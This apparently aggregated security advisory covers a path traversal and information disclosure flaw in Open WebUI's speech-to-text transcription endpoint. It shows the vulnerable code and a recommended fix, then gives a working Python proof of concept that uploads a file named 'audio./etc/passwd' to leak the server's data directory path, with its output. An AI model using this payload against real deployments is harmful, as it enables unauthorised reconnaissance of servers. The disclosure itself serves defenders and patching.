Medium

Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`

  • Disclosed: 27.03.2026
  • Updated: 11.10.2026 14:18

Summary

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATA_DIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

Details

backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():

python
ext       = file.filename.split(".")[-1]       # attacker-controlled, no sanitisation
filename  = f"{id}.{ext}"                      # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
    f.write(contents)

If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:

{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd

open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:

python
# files.py:244
filename = os.path.basename(file.filename)

# pipelines.py:206
filename = os.path.basename(file.filename)

Recommended fix — match the existing pattern and suppress path leakage in errors:

python
# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"

# audio.py:1231 — suppress internal path in error response
except Exception as e:
    log.exception(e)
    raise HTTPException(status_code=400, detail="Transcription failed.")

PoC

Requirements: a running Open WebUI instance and one standard (non-admin) user account.

bash
docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requests
python
import requests, sys

BASE_URL = "http://localhost:3000"
EMAIL    = "user@example.com"
PASSWORD = "changeme"

token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
                      json={"email": EMAIL, "password": PASSWORD},
                      timeout=10).json()["token"]

boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
    f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
    f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post(
    f"{BASE_URL}/api/v1/audio/transcriptions",
    data=body,
    headers={"Authorization": f"Bearer {token}",
             "Content-Type": f"multipart/form-data; boundary={boundary}"},
    timeout=15,
)
print(resp.status_code, resp.text)

Observed output (live test, commit b8112d72b):

400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}

The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.

Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.


Impact

Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.

AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) open-webui < 0.8.6 0.8.6

References

CVSS score 4.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness (CWE)
CWE-209, CWE-22
Platform
Python (PyPI)
Package
open-webui
Disclosed
27.03.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2764 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vvxm-vxmr-624h - CC BY 4.0

Vulnerability history: open-webui

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (161) in the archive
Total entries
161
First → latest
08.2024 09.2026
Without a fix
11
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 77
  • Medium 75
  • Low 8

Disclosures per year

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Severity:
  1. High · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. High · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. High · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  4. High · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  5. High · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  6. High · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  7. High · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  8. High · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  9. High · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  10. High · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  11. Critical · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  12. High · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
  13. High · 7.7 CVE-2026-34222 < 0.8.11 0.8.11
  14. Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions` this entry
    Medium · 4.3 CVE-2026-28786 < 0.8.6 0.8.6
  15. High · 8.4 CVE-2024-7990 <= 0.3.8 no fix
  16. High · 8.0 CVE-2024-7806 < 0.3.33 0.3.33
  17. High · 7.6 CVE-2024-7053 <= 0.3.8 no fix
  18. High · 8.1 CVE-2024-7043 < 0.3.16 0.3.16
  19. High · 7.5 CVE-2024-7036 <= 0.3.8 no fix
  20. High · 7.5 ghsa-w466-2wfc-8g58 <= 0.3.32 no fix
  21. High · 7.5 CVE-2024-12534 <= 0.3.32 no fix
  22. High · 7.5 CVE-2024-12537 <= 0.3.32 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.